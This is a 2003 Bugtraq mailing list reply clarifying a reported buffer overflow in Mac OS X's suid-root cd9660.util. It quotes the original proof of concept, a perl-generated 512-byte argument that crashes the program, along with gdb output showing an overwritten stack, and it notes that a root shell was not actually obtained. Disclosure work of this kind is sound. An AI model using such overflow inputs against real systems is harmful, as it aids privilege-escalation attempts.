Bugtraq mailing list archives

Re: Buffer overflow/privilege escalation in MacOS X


From: Max <rusmir () tula net>
Date: 16 Dec 2003 05:07:48 -0000

In-Reply-To: <Pine.LNX.4.58.0312151132450.13512 () fsj fqfubzr arg>

Hi,

It seems that my original message needs some clarification.

Firstly, the demonstration quoted below does not give you a root shell. It shows that there is a segmentation fault 
caused by access to invalid memory region. The root shell in the second part of demonstration is a copy/paste from 
another window, where gdb was running.

Secondly, although it is possible to overwrite the stack, it is not that simple to exploit it because the overflow 
happens in main(), and there is an exit() at the end of main(), so the execution is never passed to the address in the 
stack. (credits go to @stake, they  were first who mentioned it). There may be a way to exploit, I didn't have enough 
time for comprehensive analysis.

Thanks,
Max.

Hi,

It appears that parts of MacOSX that didn't come from BSD are
not very well written and have significant security issues.

An example is a /System/Library/Filesystems/cd9660.fs/cd9660.util
utility. It is suid root and it is vulnerable to a classic buffer
overflow due to the lack of input validation.

Demonstration:

sdsx:/System/Library/Filesystems/cd9660.fs max$ ls -la cd9660.util
-rwsr-xr-x  1 root  wheel  20476 23 Sep 23:53 cd9660.util

sdsx:/System/Library/Filesystems/cd9660.fs max$ ./cd9660.util -p `perl -e "print 'A'x512"`
Segmentation fault

sdsx:/System/Library/Filesystems/cd9660.fs root# gdb -core /cores/core.1405 ./cd9660.util
[gdb banner here]
Reading symbols for shared libraries .... done
Core was generated by `./cd9660.util'.
#0  0x9000d360 in strcat ()
(gdb) where
#0  0x9000d360 in strcat ()
#1  0x00002b84 in main ()
#2  0x41414141 in ?? ()



Thanks,

Max.



Current thread: